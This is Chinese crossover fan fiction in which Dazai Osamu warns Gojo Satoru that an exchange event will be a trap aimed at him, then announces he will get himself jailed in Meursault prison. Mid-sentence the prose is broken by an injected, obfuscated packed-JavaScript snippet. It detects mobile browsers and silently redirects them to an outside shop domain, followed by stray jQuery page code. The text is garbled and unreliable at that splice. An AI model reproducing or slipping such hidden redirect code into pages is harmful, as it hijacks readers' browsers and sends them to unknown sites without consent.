深夜,武装侦探社宿舍内,太宰治趴在榻榻米上,盯着面前的电脑。
窗外一道身影悄然降临,推开窗时连带着外边的冷风也一并代入。
太宰治头都没有抬一下,似乎看到了什么关键信息,只是语调很轻地提醒:“明明有门的,竟然选择了窗户。”
把人发出一声质疑,旋即扬眉看向门上已经落下的锁。
太宰治笑了声,终于抬起头来:“我记得交流会快到了吧?”
提到学生,五条悟终于正色,他靠在桌子旁,连墨镜都没有戴,六眼几乎将周围的信息攘括,唯独一个人干净得几乎过分。
“我打算到时候让悠仁‘复活’。”短暂的视线接触后,太宰治率先移开目光,就听见五条悟的声音。
让虎杖悠仁暴露在众人的视线内吗?
“感觉会很有趣啊。”太宰治突然笑起来。
他笑了,五条悟反倒警惕起来了。微微侧目,多了几分试探:“你准备做什么?”
太宰治无辜地眨眨眼睛:“我什么都没说吧。”
“你的语气就像是在说自己也要去凑个热闹一样的。”五条悟突然凑近,几乎都能感受到两个人彼此交缠在一起的呼吸,他却突然止住了动作,“……完全没有变啊。”
“你指什么?”
“心跳啊。”五条悟退回了原来的位置,懒洋洋地打了个哈欠,“之前就有感觉到了,你难道会控制心跳吗?”
太宰治瞥他一眼,没有回答这个问题:“我确实有点想要参加一下呢,不然我们也办一场交流会好了。”
“横滨和东京的交流会吗?”五条悟思考片刻,“但是不太公平吧,无论是学生数量还是能力……”
“竟然真的在思考吗?”
“……不过也不是不行。”五条悟咧嘴,苍蓝的眸子中多了些许期待,“要不要真的试试?”
太宰治:“……你认真的吗?别的不说,侦探社的各位也不可能听我的调遣吧?”
“只要你愿意回来,五条家都可以听你的哦。”
看着对方突然间变得亮晶晶的眼睛,太宰治笑了声,旋即转过头去:“不要——”
五条悟叹息一声,终究没有再劝,只是故作悲伤:“我当时可是难过了很久呢。”
“根本没有吧。”太宰治这下倒是开始认真分析了,“仔细想想你是去年才成为教师的吧?前几年的海外任务你也去了很久吧?毕业后出差三年,然后回来接任家主,祓除特级任务,压根没有想到我吧?”
五条悟却没有被拆穿的尴尬,反倒笑呵呵地趴在桌沿:“没想到治这么关注我。”
太宰治扬眉,没有对此进行评价:“掌握必要的情报可是基础行为。”
不过,有些事情导倒也真的未尝不可。
“试试吧,不要让我的学生们太依赖我啊,虽然我这么厉害也无可厚非。”
听到某位教师如此熟练地将重任担在自己身上,太宰治笑了声,但细看他的表情,就会发现眼中并没有任何笑意,他语气凉凉地开口。
“我确实有一些好的想法。”鸢眸沉沉,透着一股说不明的不满,五条悟暂时想不通太宰治的情绪,却也对他接下来的话感到讶然,“我上次托甚尔先生给你的情报你看过了吧?”
“目前已知的情报中那些咒灵你也见过几个了吧?前期蛰伏这么久却并不行动,实则是在观察吧,他们的目的虽然不太明确,但肯定是和你们敌对。”
“高专最关键的护盾在于天元结界和你们这些教师。”
深夜的冷风穿过敞开的窗,卷着夜色压进室内,吹散了方才的松弛。屏幕的光凝固在太宰治垂落的眼睫上,将他眼底所有温和的笑意尽数敛尽。
五条悟脸上的慵懒一点点褪去。
他太熟悉这种神情——每当太宰治收起玩笑的时候,就代表对方看见的,是所有人都看不见的终局。
上一次这幅样子,还是他们一定要护下天内理子时,而那次伴随着他的预言一条条应验,更是让五条悟心底骇然。
“结界和你们是高专的护盾。”太宰治轻声重复了一遍方才的话,也终于道出了后半句推测,“可再坚固的护盾,只要核心破碎,就会瞬间崩塌。”
五条悟眉毛微蹙:“你想说什么。”
“我暂时并不打算插手东京或者咒术相关的事情。”
空气骤然安静。
五条悟微微一怔,苍蓝的眸子凝住笑意:“你刚才不是还说——”
“只是一种合理的推测。”太宰治抬眸,鸢色瞳孔通透地注视着面前被所有人依赖又被所有人害怕的神子,“虽然现在说可能有点言之过早,不过无论怎么样,这次的交流会肯定会出事……不过是圈套何时设下的问题。”
五条悟彻底正色。
没有被墨镜遮挡的六眼清晰捕捉着周遭所有咒力流动,哪怕是细微的气息偏差,他也能察觉到。可唯独眼前的人干净得像一个游离在所有规则之外的观测者。
“圈套?”五条悟声线压低,“目前没有任何特级咒灵的动向指向交流会。”
“因为他们在等。”
太宰治指尖轻点桌面,动作闲散,出口的话却只添残酷。
他直直看向五条悟:“他们在等你的破绽,五条悟。”
屋内风声微响,死寂蔓延开来。
五条悟沉默两秒,忽而轻笑一声,笑意却未达眼底:“我能有什么破绽?我可是所有人公认的最强哦。”
“正因为如此,所以你才是整个咒术界唯一的破绽。”
太宰治的语气极轻:“所有人都寄希望于你。结界可以修补,学生可以成长,任务可以拖延,唯独你的存在,是那些家伙最想抹去的最大变量。”
“所以预言这次交流会绝对会出事,只是一种合理的推断。”
如此笃定的语气。
五条悟脸上的笑意彻底消失,苍蓝色的眼眸慢慢变得深沉下来。他定定看着太宰治,追问道:“你看到了什么?”
太宰治避开他的视线,转头望向窗外浓稠如墨的黑夜:“我看到了更遥远的东西。”
他微微侧头,鸢眸清冷透彻。
“他们迟早会失去你哦。”
这句话落下的瞬间,连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601192|202171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夜风都骤然停滞。
五条悟周身松弛的气场瞬间紧绷。
“无论你赢多少次,最后的结果,永远是一样的。”
太宰治的语调没有任何起伏,但正是这种不带任何别的意味的推论,在更显得残忍。
“你会离开他们。”
五条悟喉间微紧,难得露出一丝真实的凝滞,久久没有说话。
良久,他忽然低笑出声,笑声带着几分自嘲:“真是残忍的预言啊,治。”
“我只是陈述事实。”太宰治收回目光,重新落回电脑屏幕,“这次就当做一次试探吧?”
五条悟看着他的侧脸,轻声道:“你明明知道结局,却不打算阻止吗?”
太宰治闻言,浅浅勾唇:“有些失去,是成长的必经之路。太过靠谱的话,孩子们就不会独立了。”
“为了不让他们害怕我,我可是已经做了很多努力了。”或许是刻意避开一下沉重的话题,五条悟默默地转移话题,“上次带的伴手礼都没几个人喜欢,身为老师的我可是非常挫败啊。”
“这个很正常啦,平常在侦探社国木田君也总是逼着我去干活呢。”太宰治顺势叹息一声,“到底要解释多少遍他才能意识到‘太宰治’和‘工作’是完全不兼容的。”
“那位眼镜君啊,老实说上次见面我就感觉到了,”五条悟故意模仿起了他的神态,“你不觉得他和七海很像吗?”
“不过我觉得国木田君逗起来的反应更有趣一点。”
“是吗?那我下次也试试好了。”
两个人丝毫不觉得自己的做法有什么问题。
“言归正传,”太宰治笑眯眯地递上一张纸。
五条悟接过,看着上面的文字,一个字一个字地念起来:“默尔索……监狱?”
“是的是的,位于欧洲的绝密异能者重刑监狱。”太宰治叹息一声,“而且地点是绝对保密的,根本探查不到,前段时间我刚把一个还算聊得来的……朋友送进去呢。”
五条悟:“……”我们对朋友的定义好像有一点差距。
太宰治像是完全没看到对方无语的表情,说得极其坦然:“不出意外的话,那家伙是故意被关进去的。所以以防万一,我也打算进去看看。”
“……你要入侵那所监狱吗?”
“不,我要成为他的狱友。”
“……哇哦,真是好让人感动的友谊。”
简直就不是正常人的逻辑吧?不过五条悟对于太宰治的行为逻辑了解个大概,也不至于觉得很奇怪,只是有点疑惑。
“所以你打算亲自去试探对方的目的吗?虽然有效,但是信息的传达会成为问题吧?而且并不能确保外界的变故……可能会有危险哦。”
才说完,五条悟自己就意识到问题了。和面前这个没什么求生欲的自殺爱好者谈危险,完全就是困了有人送枕头吧?
“诅咒师和那些家伙已经联手了。”太宰治笑眯眯地看着面前的人,“所以不吃意外的话,到时候我们应该都是跑不了的,要我提前教你一点打发时间的思维游戏吗?”
五条悟:“……”